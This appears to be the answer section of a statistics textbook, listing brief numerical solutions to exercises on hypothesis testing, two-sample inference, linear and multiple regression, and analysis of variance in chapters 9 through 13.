9-121. (a) $t_0 = 0.5694$, $0.25 <$ P-value < 0.4
(b) $10.726 \le \mu \le 14.222$

9-123. (a) $n = 25$, 0.9783; $n = 100$, 0.9554; $n = 400$, 0.8599; $n = 2500$, 0.2119
(b) $n = 25$, 0.3783; $n = 100$, 0.2643; $n = 400$, 0.1056; $n = 2500$, 0.0009; significant when $n = 2500$.

9-125. (a) 0.4522 (b) 0.4404
(c) 0.3557 (d) 0.2981

9-127. (a) 0.6406 (b) 0.2877
(c) 0.0537

9-129. (a) $n = 100$, 0.3632; $n = 150$, 0.2119; $n = 300$, 0.0352
(b) $n = 100$, 0.6293; $n = 150$, 0.4522; $n = 300$, 0.1292
(c) 1 (d) 24, 5

9-131. (a) $d = 2$, $\beta = 0$; $d = 3$, $\beta = 0$
(b) 2
(c) $d = 1$, $\beta \approx 0.1$; $d = 1.5$ $\beta \approx 0.04$; $n = 4$

9-133. $\chi_0^2 = 0.000009$, reject H_0

9-135. (a)

Value	0	1	2	≥ 3
Observed	3	7	4	6
Expected	3.6484	6.2128	5.2846	4.6954

$\chi_0^2 = 0.88971$, fail to reject H_0
(b) P-value $= 0.6409$ (from Minitab)

9-137. (a) normal distribution used because sample size is large, $z_0 = 6.12$, fail to reject H_0
(b) P-value ≈ 1
(c)

Interval	Obs. Frequency.	Exp. Frequency.
$x \le 45.50$	9	7.5
$45.50 < x \le 51.43$	5	7.5
$51.43 < x \le 55.87$	7	7.5
$55.87 < x \le 59.87$	11	7.5
$59.87 < x \le 63.87$	4	7.5
$63.87 < x \le 68.31$	9	7.5
$68.31 < x \le 74.24$	8	7.5
$x \ge 74.24$	6	7.5

$\chi_0^2 = 5.06$, fail to reject H_0

9-139. (a) H_0: $\mu = 0.635$ vs. H_1: $\mu > 0.635$
(b) normal distribution used because sample size is large, $z_0 = -5.31$, fail to reject H_0
(c) P-value ≈ 1

9-141. (a) $t_0 = -6.10$, P-value $<$ 0.001, reject H_0
(b) $d = 4.54$, Power ≈ 1
(c) $d = 2.27$, $n \ge 5$
(e) From a normal probability plot, assumption is reasonable

9-143. (a) $t_0 = 0.37$, fail to reject H_0
(b) From a normal probability plot, assumption is reasonable
(c) $0.25 <$ P-value < 0.4

9-145. (a) $\chi_0^2 = 58.81$, reject H_0
(b) P-value < 0.01

9-147. (a) $\chi_0^2 = 0.509$, fail to reject H_0
(b) $\chi_0^2 = 0.509$, P-value $<$ 0.01, reject H_0

CHAPTER 10

Section 10-1

10-1. (a) $-1.96 < z_0 = -0.9 < 1.96$, do not reject H_0; P-value $= 0.368$
(b) $-9.79 \le \mu_1 - \mu_2 \le 3.59$
(c) Power $= 0.14$
(d) $n_1 = n_2 = 180$

10-3. (a) $z_0 = 0.937 < 2.325$, do not reject H_0; P-value $= 0.174$
(b) $\mu_1 - \mu_2 \ge -4.74$
(c) Power $= 0.04$
(d) Use $n_1 = n_2 = 339$

10-5. (a) $z_0 = -5.84 < 1.645$, do not reject H_0; P-value $= 1$
(b) $\mu_1 - \mu_2 \ge 6.8$
(c) Power $= 0.9988$
(d) The sample size is adequate

10-7. (a) $z_0 = -7.25 < -1.645$ reject H_0; P-value $\cong 0$
(b) $-3.684 \le \mu_1 - \mu_2 \le -2.116$
(c) $n_1 = n_2 = 11$

10-9. (a) $-5.83 \le \mu_1 - \mu_2 \le -0.57$; P-value $= 0.0173$
(b) Yes
(c) Power $= 0.9616$; $n \cong 10$
(d) Normal

Section 10-2

10-11. (a) $df = 26.45 \approx 26$, $\mu_1 - \mu_2 \le -1.688$, $0.0025 <$ P-value < 0.005, one-sided

(b) reject H_0 (c) Yes
(d) $0.005 < P\text{-value} < 0.01$, reject H_0

10-13. (a) $t_0 = -1.94 < -1.701$ $0.025 < P\text{-value} < 0.05$
(b) $\mu_1 - \mu_2 \le -0.196$
(c) Power $= 0.95$
(d) $n = n_1 = n_2 = 21$

10-15. (a) $-2.042 < t_0 = 0.230 < 2.042$, do not reject H_0; P-value > 0.80
(b) $-0.394 \le \mu_1 - \mu_2 \le 0.494$

10-17. (a) $t_0 = -3.11 < -2.485$, reject H_0
(b) $-5.688 \le \mu_1 - \mu_2 \le -0.3122$

10-19. (a) Assumptions verified
(b) $t_0 = -2.83 < -2.101$ reject H_0; $0.010 < P\text{-value} < 0.020$
(c) $-0.7495 \le \mu_1 - \mu_2 \le -0.1105$

10-21. (a) $t_0 = -5.498 < -2.021$ reject H_0; P-value < 0.0010
(b) $n_1 = n_2 = 38$

10-23. (a) $t_0 = 3.03 > 2.056$ reject H_0; $0.005 < P\text{-value} < 0.010$
(b) $t_0 = 3.03 > 1.706$, reject H_0

10-25. (a) $t_0 = 7.0 > 2.048$, reject H_0; P-value $\cong 0$
(b) $14.93 \le \mu_1 - \mu_2 \le 27.28$
(c) $n > 8$

10-27. (a) $t_0 = 2.82 > 2.326$ reject H_0; P-value $\cong 0.025$
(b) $\mu_1 - \mu_2 \ge 0.178$

10-29. (a) Normal
(b) $t_0 = 2.558 > 2.101$ reject H_0; P-value ≈ 0.02
(c) $1.86 \le \mu_1 - \mu_2 \le 18.94$
(d) Power $= 0.05$
(e) $n = 51$

Section 10-3

10-31. (a) $w_2 = 75 > w^*_{0.025} = 51$, fail to reject H_0
(b) $P\text{-value} = 2[1 - P(Z < 0.58)] = 0.562$

10-33. (a) $w_1 = 77 \le w^*_{0.01} = 78$, reject H_0
(b) $P\text{-value} = 2[1 - P(Z < 2.19)] = 0.034$

10-35. (a) Min (258, 207) $> w^*_{0.05} = 185$, fail to reject H_0
(b) P-value $= 0.0155$

Section 10-4

10-37. (a) $0.1699 \le \mu_d \le 0.3776$
(b) t-test is appropriate.

10-39. $-727.46 \le \mu_d \le 2464.21$

10-41. (a) $t_0 = 5.465 > 1.761$ reject H_0; P-value $\cong 0$
(b) $18.20 \le \mu_d$

10-43. (a) $t_0 = 8.387 > 1.833$ reject H_0
(b) $t_0 = 3.45 > 1.833$ reject H_0
(c) Yes

10-45. (a) Normal
(b) $-0.379 \le \mu_d \le 0.349$
(c) $6 \le n$

10-47. (a) $P\text{-value} = P(R^+ \ge r^+ = 14 \mid p = 0.5) = 0.0005$, reject H_0

Section 10-5

10-49. (a) $f_{0.25,5,10} = 1.59$
(b) $f_{0.10,24,9} = 2.28$
(c) $f_{0.05,8,15} = 2.64$
(d) $f_{0.75,5,10} = 0.529$
(e) $f_{0.90,24,9} = 0.525$
(f) $f_{0.95,8,15} = 0.311$

10-51. $f_0 = 0.805 > 0.166$, fail to reject H_0; $\sigma_1/\sigma_2 \le 2.20$

10-53. (a) $f_0 = 1.21 > 0.333$, fail to reject H_0;
$$0.403 \le \frac{\sigma_1^2}{\sigma_2^2} \le 3.63$$
(b) Power $= 0.65$
(c) $n \approx 31$

10-55. (a) $f_0 = 0.923 > 0.365$, do not reject H_0
(b) $0.3369 \le \dfrac{\sigma_1^2}{\sigma_2^2} \le 2.640$

10-57. (a) $0.6004 \le \dfrac{\sigma_1}{\sigma_2} \le 1.428$
(b) $0.5468 \le \dfrac{\sigma_1}{\sigma_2} \le 1.5710$
(c) $0.661 \le \dfrac{\sigma_1}{\sigma_2}$

10-59. $0.4058 < f_0 = 1.78 < 2.46$, do not reject H_0

10-61. $0.248 < f_0 = 0.640 < 4.04$, do not reject H_0;
$$0.159 \le \frac{\sigma_1^2}{\sigma_2^2} \le 2.579$$

10-63. $0.333 < f_0 = 1.35 < 3$, do not reject H_0;
$$0.45 \le \frac{\sigma_1^2}{\sigma_2^2} \le 4.05$$

10-65. (a) $0.248 < f_0 = 3.337 < 4.03$, do not reject H_0
(b) No

Section 10-6

10.67. (a) one-sided
(b) $z_0 = 1.4012$, P-value $= 0.0806$, $-0.0085 \le p_1 - p_2$
(c) reject H_0 at $\alpha = 0.10$, fail to reject H_0 at $\alpha = 0.05$

10-69. (a) $z_0 = 4.45 > 1.96$ reject H_0; P-value ≈ 0
(b) $0.039 \le p_1 - p_2 \le 0.1$

10-71. (a) $z_0 = 5.36 > 2.58$ reject H_0; P-value ≈ 0

Supplemental Exercises

10-73. (a) $df = 38$, $t_0 = -0.988$, $0.2 < P\text{-value} < 0.5$, $-2.478 \le \mu_1 - \mu_2 \le 0.758$
(b) one-sided
(c) fail to reject H_0

10-75. (a) normality, equality of variance, and independence of the observations.
(b) $1.40 \le \mu_1 - \mu_2 \le 8.36$
(c) Yes
(d) $0.1582 \le \dfrac{\sigma_1^2}{\sigma_2^2} \le 5.157$
(e) No

10-77. (a) $t_0 = 2.554 > 1.895$, reject H_0
(b) $t_0 = 2.554 < 2.998$, do not reject H_0
(c) $t_0 = -1.986 < 1.895$, do not reject H_0
(d) $t_0 = -1.986 < 2.998$, do not reject H_0

10-79. (a) $z_0 = 6.55 > 1.96$, reject H_0
(b) $z_0 = 6.55 > 2.58$, reject H_0
(c) z_0 is so large

10-81. (a) $-0.0335 \le p_1 - p_2 \le 0.0329$
(b) $-0.0282 \le p_1 - p_2 \le 0.0276$
(c) 95% CI: $-0.0238 \le p_1 - p_2 \le 0.0232$
90% CI: $-0.0201 \le p_1 - p_2 \le 0.0195$

10-83. (a) Yes
(b) Yes if similar populations

10-85. (a) $0.0987 \le \mu_1 - \mu_2 \le 0.2813$
(b) $0.0812 \le \mu_1 - \mu_2 \le 0.299$
(c) $\mu_1 - \mu_2 \le 0.2813$
(d) $z_0 = 3.42 > 1.96$, reject H_0; P-value $= 0.00062$
(e) $n_1 = n_2 = 9$

10-87. (a) $z_0 = -5.36 < -2.58$, reject H_0
(b) conclusions are the same
(c) $n = 60$

10-89. (a) No
(b) data appear normal with equal variances
(c) It is more apparent the data follow normal distributions.
(d) $18.114 < \frac{\sigma_V^2}{\sigma_M^2} < 294.35$
(e) $f_0 = 72.78 > 4.03$, reject H_0

10-91. (a) Normality appears valid.
(b) $0.50 < P$-value < 0.80, do not reject H_0
(c) $n = 30$

10-93. (a) It may not be assumed that $\sigma_1^2 = \sigma_2^2$
(b) $t_0 = -2.74 < -2.131$, reject H_0
(c) Power $= 0.95$
(d) $n = 26$

Mind-Expanding Exercises

10-99. (c) $0.519 \le \theta \le 3.887$

CHAPTER 11

Section 11-2

11-1. (a) $\hat{\beta}_0 = 48.013$, $\hat{\beta}_1 = -2.330$
(b) 37.99 (c) 39.39 (d) 6.71

11-3. (a) $\hat{\beta}_0 = 14.195$, $\hat{\beta}_1 = 10.092$, $\sigma^2 = 27.24$
(b) 89.95 (c) -10.092
(d) 0.99 (e) -7.98, 3.13

11-5. (a) $\hat{\beta}_0 = -6.3355$, $\hat{\beta}_1 = 9.20836$, $\sigma^2 = 3.7746$
(b) 500.124 (c) 9.20836
(d) -1.618

11-7. (a) $\hat{\beta}_0 = -16.5093$, $\hat{\beta}_1 = 0.0693554$, $\sigma^2 = 7.3212$
(b) 1.39592 (c) 49.38

11-9. (b) $\hat{\beta}_0 = 234.071$, $\hat{\beta}_1 = -3.50856$, $\sigma^2 = 398.25$
(c) 128.814
(d) 156.833 and 15.1175

11-11. (b) $\hat{\beta}_0 = 2625.39$, $\hat{\beta}_1 = 36.962$, $\sigma^2 = 9811.2$
(c) 1886.15

11-13. (a) $\hat{\beta}_0 = 0.658$, $\hat{\beta}_1 = 0.178$, $\sigma^2 = 0.083$
(b) 3.328 (c) 0.534
(d) 1.726 and 0.174

11-15. (b) $\hat{\beta}_0 = 2.02$, $\hat{\beta}_1 = 0.0287$, $\sigma^2 = 0.0253$

11-17. (a) $\hat{y} = 39.2 - 0.0025x$
(b) $\hat{\beta}_1 = -0.0025$

11-19. (b) $\hat{\beta}_0^* = 2132.41$, $\hat{\beta}_1^* = -36.9618$

Section 11-4

11-21. **(a)** $t_0 = 12.4853$, P-value < 0.001; $t_1 = 20.387$, P-value < 0.001; $MS_E = 2.194$; $f_0 = 415.91$, P-value ≈ 0
(b) reject H_0: $\beta = 0$
(c) 2.194

11-23. (a) $f_0 = 74.63$, P-value $= 0.000002$, reject H_0
(b) $\hat{\sigma}^2 = 27.2$, $se(\hat{\beta}_1) = 0.2696$
(c) $se(\hat{\beta}_0) = 0.9043$

11-25. (a) $f_0 = 61.41$, P-value $\cong 0$, reject H_0
(b) $se(\hat{\beta}_1) = 1.288$ $se(\hat{\beta}_0) = 9.059$
(c) $t_0 = 0.072$, fail to reject H_0

11-27. (a) $f_0 = 74334.4$, P-value ≈ 0, reject H_0
(b) $se(\hat{\beta}_0) = 1.66765$, $se(\hat{\beta}_1) = 0.0337744$
(c) $t_0 = -23.37$, P-value $= 0.000$, reject H_0
(d) $t_0 = -3.8$, P-value < 0.005, reject H_0

11-29. (a) $f_0 = 44.0279$, P-value $= 0.00004$, reject H_0
(b) $se(\hat{\beta}_0) = 9.84346$, $se(\hat{\beta}_1) = 0.0104524$
(c) $t_0 = -1.67718$, P-value $= 0.12166$, fail to reject H_0

11-31. (a) $f_0 = 155.2$, P-value < 0.00001, reject H_0
(b) $se(\hat{\beta}_0) = 2.96681$, $se(\hat{\beta}_1) = 45.3468$
(c) $t_0 = -2.3466$, P-value $= 0.0306$, fail to reject H_0
(d) $t_0 = 57.8957$, P-value < 0.00001, reject H_0
(e) $t_0 = 2.7651$, P-value $= 0.0064$, reject H_0

11-33. (a) P-Value $= 0.0000$, reject H_0
(b) $\hat{\sigma}^2 = 0.083$ $se(\hat{\beta}_0) = 0.1657$, $se(\hat{\beta}_1) = 0.014$
(c) Reject H_0

11-35. (a) P-value $= 0.310$, No
(b) $\hat{\sigma}^2 = 30.69$
(c) $se(\hat{\beta}_0) = 9.141$

11-37. 0.55

Sections 11-5 and 11-6

11-39. (a) $(-2.9713, -1.7423)$
(b) (46.7145, 49.3115)
(c) (41.3293, 43.0477)
(d) (39.1275, 45.2513)

11-41. (a) [10.02, 15.28]
(b) $[-4.30, 32.69]$
(c) [85.59, 104.27]
(d) [62.77, 127.10]

11-43. (a) (9.10130, 9.31543)
(b) $(-11.6219, -1.04911)$
(c) (498.72024, 501.52776)
(d) (495.57344, 504.67456)

11-45. (a) (0.03689, 0.10183)
(b) $(-47.0877, 14.0691)$
(c) (44.0897, 49.1185)
(d) (37.8298, 55.3784)

11-47. (a) (201.552, 266.590)
(b) $(-4.67015, -2.34696)$
(c) (111.8339, 145.7941)

11-49. (a) $(-43.1964, -30.7272)$
(b) (2530.09, 2720.68)
(c) (1823.7833, 1948.5247)
(d) (1668.9013, 2103.4067)

11-51. (a) (0.1325, 0.2235)
(b) (0.119, 1.196)
(c) (1.87, 2.29)

Section 11-7

11-53. (a) $R^2 = 67.2\%$

11-55. (a) $R^2 = 99.986\%$

11-57. (a) $R^2 = 87.94\%$

11-59. (a) $R^2 = 85.22\%$

11-61. (a) $R^2 = 89.6081\%$
(c) $R^2 = 95.73\%$
(d) $\hat{\sigma}^2$ old $= 9811.21$, $\hat{\sigma}^2$ new $= 4022.93$

11-65. (a) $f_0 = 207$, reject H_0

Section 11-8

11-67. (a) $t_0 = 4.81$, P-value $<$ 0.0005, reject H_0
(b) $z_0 = 1.747$, P-value $=$ 0.04, reject H_0
(c) $\rho \geq 2.26$, reject H_0

11-69. (a) $t_0 = 5.475$, P-value $=$ 0.000, reject H_0
(b) (0.3358, 0.8007)
(c) Yes

11-71. (a) $\hat{y} = -0.0280411 + 0.990987x$
(b) $f_0 = 79.838$, reject H_0
(c) 0.903
(d) $t_0 = 8.9345$, reject H_0
(e) $z_0 = 3.879$, reject H_0
(f) (0.7677, 0.9615)

11-73. (a) $\hat{y} = 5.50 + 6.73x$
(b) 0.948
(c) $t_0 = 8.425$, reject H_0
(d) (0.7898, 0.9879)

11-75. (a) $r = 0.82$
(b) $t_0 = 7.85$, reject H_0, P-value < 0.005
(c) (0.664, 0.908)
(d) $z_0 = 1.56$, fail to reject H_0, P-value $= 0.119$

Section 11-9

11-77. (a) Yes (b) No (c) Yes (d) Yes

11-79. (b) $\hat{y} = -0.8819 + 0.00385x$
(c) $f_0 = 122.03$, reject H_0

Section 11-10

11-81. (a) $\hat{\beta}_0 = 5.340$, $\hat{\beta}_1 = -0.00155$
(b) Test that all slopes zero: P-value ≈ 0

11-83. (a) $\hat{\beta}_0 = -7.047$, $\hat{\beta}_1 = -0.00074$, $\hat{\beta}_2 = -0.9879$
(b) Test that all slopes zero: P-value = 0.036
(c) 0.771

11-85. (b) $\hat{y} = -0.966824 + 1.54376x$
(c) $f_0 = 252263.9$, P-value $\approx$ 0, reject H_0
(d) [1.5367, 1.5509]
(e) $t_0 = -199.34$, reject H_0

Supplemental Exercises

11-87. $y^* = 1.2232 + 0.5075x$ where $y^* = 1/y$

11-89. $\hat{y} = 0.7916x$

11-91. (b) $\hat{y} = 0.6714 + -2964x$
(c) $R^2 = 21.5\%$

11-93. (b) $\hat{y} = -0.699 + 1.66x$
(c) $f_0 = 22.75$, reject H_0, P-value $= 0.001$
(d) (3.399, 5.114)

11-95. (c) all data: (7741.74, 10956.26), outlier removed: (8345.22, 11272.79)

CHAPTER 12

Section 12-1

12-1. (b) $\hat{y} = 171.055 + 3.714x_1 - 1.126x_2$
(c) 189.49

12-3. (b) 2

12-5. (a) Satisfaction = 144 − 1.11 Age − 0.585 Severity + 1.30 Anxiety
(b) 49.5
(c) 5.90, 0.13, 0.13, 1.06
(d) No, standard errors differ

12-7. (a) $\hat{y} = 49.90 - 0.01045x_1 - 0.0012x_2 - 0.00324x_3 + 0.292x_4 - 3.855x_5 + 0.1897x_6$
(b) $\hat{\sigma}^2 = 4.965$
$se(\hat{\beta}_0) = 19.67$,
$se(\hat{\beta}_1) = 0.02338$,
$se(\hat{\beta}_2) = 0.01631$,
$se(\hat{\beta}_3) = 0.0009459$,
$se(\hat{\beta}_4) = 1.765$,
$se(\hat{\beta}_5) = 1.329$,
$se(\hat{\beta}_6) = 0.273$
(c) 29.867

12-9. (a) $\hat{y} = 47.82 - 9.604x_1 + 0.44152x_2 + 18.294x_3$
(b) $\hat{\sigma}^2 = 12.3$
(c) $se(\hat{\beta}_0) = 49.94$,
$se(\hat{\beta}_1) = 3.723$,
$se(\hat{\beta}_2) = 0.2261$, and
$se(\hat{\beta}_3) = 1.323$
(d) 91.38

12-11. (a) $\hat{y} = -440.39 + 19.147x_1 + 68.080x_2$
(b) $\hat{\sigma}^2 = 55563$ $se(\hat{\beta}_0) = 94.20$,
$se(\hat{\beta}_1) = 3.460$, and
$se(\hat{\beta}_2) = 5.241$
(c) 186.675

12-13. (a) $\hat{y} = -0.1105 + 0.4072x_1 + 2.108x_2$
(b) $\hat{\sigma}^2 = 0.00008$
$se(\hat{\beta}_0) = 0.2501$,
$se(\hat{\beta}_1) = 0.1682$, and
$se(\hat{\beta}_2) = 5.834$
(c) 0.97074

12-15. (a) $\hat{y} = 238.56 + 0.3339x_1 - 2.7167x_2$
(b) $\hat{\sigma}^2 = 1321$
(c) $se(\hat{\beta}_0) = 45.23$,
$se(\hat{\beta}_1) = 0.6763$, and
$se(\hat{\beta}_2) = 0.6887$
(d) 61.5195

12-17. (a) $\hat{y} = 2.99 + 1.20x_3 + 4.60x_7 - 3.81x_{10}$
(b) $\hat{\sigma}^2 = 4.14$
(c) $se(\hat{\beta}_0) = 5.877$,
$se(\hat{\beta}_3) = 0.974$,
$se(\hat{\beta}_7) = 0.385$,
$se(\hat{\beta}_{10}) = 0.486$
(d) 81.96

12-19. (a) $\hat{y} = 383.80 - 3.6381x_1 - 0.1119x_2$
(b) $\hat{\sigma}^2 = 153.0$,
$se(\hat{\beta}_0) = 36.22$,
$se(\hat{\beta}_1) = 0.5665$,
$se(\hat{\beta}_2) = 0.04338$
(c) 180.95
(d) $\hat{y} = 484.0 - 7.656x_1 - 0.222x_2 - 0.0041x_{12}$
(e) $\hat{\sigma}^2 = 147.0$,
$se(\hat{\beta}_0) = 101.3$,
$se(\hat{\beta}_1) = 3.846$,
$se(\hat{\beta}_2) = 0.113$,
$se(\hat{\beta}_{12}) = 0.0039$
(f) 173.1

Section 12-2

12-21. (a) $t_0 = 53.0872$, P-value ≈ 0, $t_1 = 15.02$, P-value ≈ 0; $t_2 = -23.43$, P-value ≈ 0; $MS_E = 25.5833$; $f_0 = 445.2899$, P-value ≈ 0
(b) $f_0 = 445.2899$, reject H_0
(c) t-test for each regressor is significant

12-23. (a) $f_0 = 184.25$, P-value $= 0.000$, Reject H_0
(b) $t_0(\hat{\beta}_1) = 16.21$, P-value < 0.001, reject H_0
$t_0(\hat{\beta}_2) = -11.04$, P-value < 0.001, reject H_0

12-25. (a) P-value = 8.16 E-5, 3.82 E-8, and 0.3378
(b) $t_0 = 0.98$, fail to reject H_0

12-27. (a) $f_0 = 19.53$, reject H_0

12-29. (a) $f_0 = 828.31$, reject H_0
(b) $t_0 = -2.58$, reject H_0
$t_0 = 1.84$, fail to reject H_0
$t_0 = 13.82$, reject H_0

12-31. (a) $f_0 = 99.67$, reject H_0, P-value ≈ 0
(b) $t_0 = 5.539$, reject H_0
$t_0 = 12.99$, reject H_0

12-33. (a) $f_0 = 9.28$, reject H_0, P-value = 0.015
(b) $t_0 = 0.49$, fail to reject H_0
$t_0 = -3.94$, reject H_0

12-35. (a) $f_0 = 36.59$, reject H_0
(b) $t_0 = 12.30$, reject H_0
$t_0 = 11.94$, reject H_0
$t_0 = -7.84$, reject H_0
(c) $f_0 = 142.66$, reject H_0

12-37. (a) $f_0 = 97.59$, reject H_0, P-value = 0.002
(b) $t_0 = -6.42$, reject H_0
$t_0 = -2.57$, fail to reject H_0
(c) $f_0 = 6.629$, fail to reject H_0
(d) $f_0 = 7.714$, fail to reject H_0
(e) $f_0 = 1.11$, fail to reject H_0
(f) 147.0

12-39. (a) $f_0 = 65.55$, P-value ≈ 0, reject H_0
(b) Age: $t_1 = -8.40$, Severity: $t_2 = -4.43$, Anxiety: $t_3 = 1.23$, not all necessary

Sections 12-3 and 12-4

12-41. (a) $(49.927 < \beta_0 < 292.183)$
$(0.033 < \beta_1 < 7.393)$
$(-2.765 < \beta_2 < 0.513)$
(b) (158.82, 220.13)
(c) (126.06, 252.88)

12-43. (a) $(-20.477 < \beta_1 < 1.269)$
$(-0.245 < \beta_2 < 1.076)$
$(14.428 < \beta_3 < 22.159)$
(b) (77.582, 105.162)
(c) (82.133, 100.611)

12-45. (a) $(-6.9467 < \beta_1 < -0.3295)$
$(-0.3651 < \beta_2 < 0.1417)$
(b) $(-45.8276 < \beta_1 < 30.5156)$
$(-1.3426 < \beta_2 < 0.8984)$
$(-0.03433 < \beta_3 < 0.04251)$

12-47. (a) $(12.1363 < \beta_1 < 26.1577)$
$(57.4607 < \beta_2 < 78.6993)$
(b) (−233.4, 63.2)
(c) (−742.09, 571.89)

12-49. (a) $(0.0943 < \beta_1 < 0.7201)$
$(-8.743 < \beta_2 < 12.959)$
(b) (0.861, 0.896)
(c) (0.855, 0.903)

12-51. (a) $(-2.173 < \beta_1 < 2.841)$
$(-5.270 < \beta_2 < -0.164)$
(b) (−36.7, 125.8)
(c) (−112.8, 202.0)
(d) CI: (107.4, 267.2)
PI: (30.7, 344.0)

12-53. (a) $-10.18 < \beta_0 < 16.62$
$(1.00 < \beta_3 < 1.45)$
$(3.85 < \beta_7 < 5.00)$
$(-5.11 < \beta_{10} < -3.07)$
(b) 0.3877
(c) (81.3, 82.9)

12-55. (a) [−9.052, 15.024], [0.999, 1.398], [3.807, 5.384], [−4.808, −2.817]
(b) 0.43
(c) [80.965, 82.725]

Section 12-5

12-57. (a) 0.893

12-59. (a) 0.95

12-61. (a) 0.843

12-63. (a) 0.997

12-65. (a) 0.756

12-67. (a) 0.985 (b) 0.99

12-69. (b) 0.9937, 0.9925

12-71. (a) 0.12 (b) Yes

Section 12-6

12-73. (a) $\hat{y} = -1.633 + 1.232x - 1.495x^2$
(b) $f_0 = 1{,}858{,}613$, reject H_0
(c) $t_0 = -601.64$, reject H_0

12-75. (a) $\hat{y} = -1.769 + 0.421x_1 + 0.222x_2 - 0.128x_3 - 0.02x_{12} + 0.009x_{13} + 0.003x_{23} - 0.019x_1^2 - 0.007x_2^2 + 0.001x_3^2$
(b) $f_0 = 19.628$, reject H_0
(d) $f_0 = 1.612$, fail to reject H_0

12-77. (b) $\hat{y} = 56.677 - 0.1457x_1 - 0.00525x_2 - 0.138x_3 - 4.179x_4$

12-79. (a) Min C_p : x_1, x_2
$C_p = 3.0$, $MS_E = 55563.92$
$\hat{y} = -440.39 + 19.147x_1 + 68.080x_2$
Min MS_E is same as Min C_p
(b) Same as part (a)
(c) Same as part (a)
(d) Same as part (a)
(e) All models are the same

12-81. (a) Min C_p: x_1
$C_p = 1.1$, $MS_E = 0.0000705$
$\hat{y} = -0.20052 + 0.467864x_1$
Min MS_E is same as Min C_p
(b) Same as part (a)
(c) Same as part (a)
(d) Same as part (a)
(e) All models are the same

12-83. (a) Min C_p: x_2
$C_p = 1.2$, $MS_E = 1178.55$
$\hat{y} = 253.06 - 2.5453x_2$
Min MS_E is same as Min C_p
(b) Same as part (a)
(c) Same as part (a)
(d) Same as part (a)
(e) All models are the same

12-85. (a) Min C_p: x_1, x_2
$C_p = 2.9$, $MS_E = 10.49$
$\hat{y} = -50.4 + 0.671x_1 + 1.30x_2$
Min MS_E is same as Min C_p
(b) Same as part (a)
(c) Same as part (a)
(d) Same as part (a)
(e) All models are the same

12-87. (a) Min. MS_E ($MS_E = 0.01858$) model *Att, PctComp, Yds, YdsperAtt, TD, PctTD, PctInt; Min. Cp* ($Cp = 5.3$) model *PctComp, YdsperAtt, PctTD, PctInt;*
(b) *PctComp, YdsperAtt, PctTD, PctInt*
(c) *PctComp, YdsperAtt, PctTD, PctInt*
(d) *Att, PctComp, Yds, YdsperAtt, TD, PctInt*

12-89. (a) Min $C_p = 1.3$:
$\hat{y} = 61.001 - 0.02076x_{cid} - 0.00354x_{etw} - 3.457x_{axle}$
Min $MS_E = 4.0228$
$\hat{y} = 49.5 - 0.017547x_{cid}$

$- 0.0034252x_{etw} + 1.29x_{cmp}$
$- 3.184x_{axle} - 0.0096x_{c02}$
(b) $\hat{y} = 63.31 - 0.0178x_{cid}$
$- 0.00375x_{etw} - 3.3x_{axle}$
$- 0.0084x_{c02}$
(c) Same as Min MSE model in part (a)
(d) $\hat{y} = 45.18 - 0.00321x_{etw}$
$- 4.4x_{axle} + 0.385x_{n/v}$
(e) Min C_p model is preferred
(f) Min $C_p = 4.0$,
Min $MS_E = 2.267$
$\hat{y} = 10 - 0.0038023x_{etw}$
$+ 3.936x_{cmp} + 15.216x_{co}$
$- 0.011118x_{c02} - 7.401x_{trans}$
$+ 3.6131x_{drv1} + 2.342x_{drv2}$
Stepwise:
$\hat{y} = 39.12 - 0.0044x_{etw}$
$+ 0.271x_{n/v} - 4.5x_{trns}$
$+ 3.2x_{drv1} + 1.7x_{drv2}$
Forward selection:
$\hat{y} = 41.12 - 0.00377x_{etw}$
$+ 0.336x_{n/v} - 2.1x_{axle}$
$- 3.4x_{trans} + 2.1x_{drv1}$
$+ 2x_{drv2}$
Backward elimination is same as Min C_p and Min MS_E

12-91. (a) $\hat{y} = -0.304 + 0.083x_1$
$- 0.031x_3 + 0.004x_2^2$
$C_p = 4.04$ $MS_E = 0.004$
(b) $\hat{y} = -0.256 + 0.078x_1$
$+ 0.022x_2 - 0.042x_3$
$+ 0.0008x_3^2$
$C_p = 4.66$ $MS_E = 0.004$
(c) Prefer the model in part (a)

Supplemental Exercises

12-95. (a) 2
(b) 0.0666, 0.0455
(c) 6.685

12-97. (a) $f_0 = 1321.39$, reject H_0, P-value < 0.00001
(b) $t_0 = -1.45$, fail to reject H_0
$t_0 = 19.95$, reject H_0
$t_0 = 2.53$, fail to reject H_0

12-99. (a) $\hat{y} = 4.87 + 6.12x_1^* - 6.53x_2^*$
$- 3.56x_3^* - 1.44x_4^*$
(b) $f_0 = 21.79$, reject H_0
$t_0 = 5.76$, reject H_0
$t_0 = -5.96$, reject H_0
$t_0 = -2.90$, reject H_0
$t_0 = -4.99$, reject H_0

12-101. (a) $\hat{y}^* = 21.068 - 1.404x_3^*$
$+ 0.0055x_4 + 0.000418x_5$
$MS_E = 0.013156$
$C_p = 4.0$
(b) Same as part (a)
(c) x_4, x_5 with $C_p = 4.1$ and $MS_E = 0.0134$
(d) The part (c) model is preferable
(e) Yes

12-103. (a) $\hat{y} = 300.0 + 0.85x_1$
$+ 10.4x_2$, $\hat{y} = 405.8$
(b) $f_0 = 55.37$, reject H_0
(c) 0.9022
(d) $MS_E = 10.65$
(e) $f_0 = 0.291$, fail to reject H_0

12-105. (a) $f_0 = 18.28$, reject H_0
(b) $f_0 = 2$, do not reject H_0
(c) MS_E(reduced) $= 0.005$
MS_E(Full) $= 0.004$

Mind-Expanding Exercises

12-109. $R^2 \geq 0.449$

CHAPTER 13

Section 13-2

13-1. (a) 4
(b) 5
(c) $f_0 = 1.58$, $0.1 < P$-value < 0.25
(d) fail to reject H_0

13-3. (a) $f_0 = 14.76$, reject H_0

13-5. (a) $f_0 = 12.73$, reject H_0
(b) P-value $\cong 0$

13-7. (a) $f_0 = 16.35$, reject H_0
(c) 95%: (140.71, 149.29)
99%: (7.36, 24.14)

13-9. (a) $f_0 = 1.86$, fail to reject H_0
(b) P-value $= 0.214$

13-11. (a) $f_0 = 8.30$, reject H_0
(b) P-value $= 0.002$
(d) (69.17, 81.83)
(e) (8.42, 26.33)

13-13. (a) $f_0 = 0.72$, fail to reject H_0
(b) P-value $= 0.486$, $SS_E = 0.146$

13-15. (a) $f_0 = 2.62$, fail to reject H_0
(b) P-value $= 0.083$

13-27. $n = 3$

Section 13-3

13-29. (a) $f_0 = 5.77$, reject H_0
(b) 0.01412
(c) 0.0148

13-31. (a) $f_0 = 0.75$, fail to reject H_0
(b) 0 (c) 24

13-33. (a) H_0: $\sigma_\tau^2 = 0$ H_1: $\sigma_\tau^2 \neq 0$
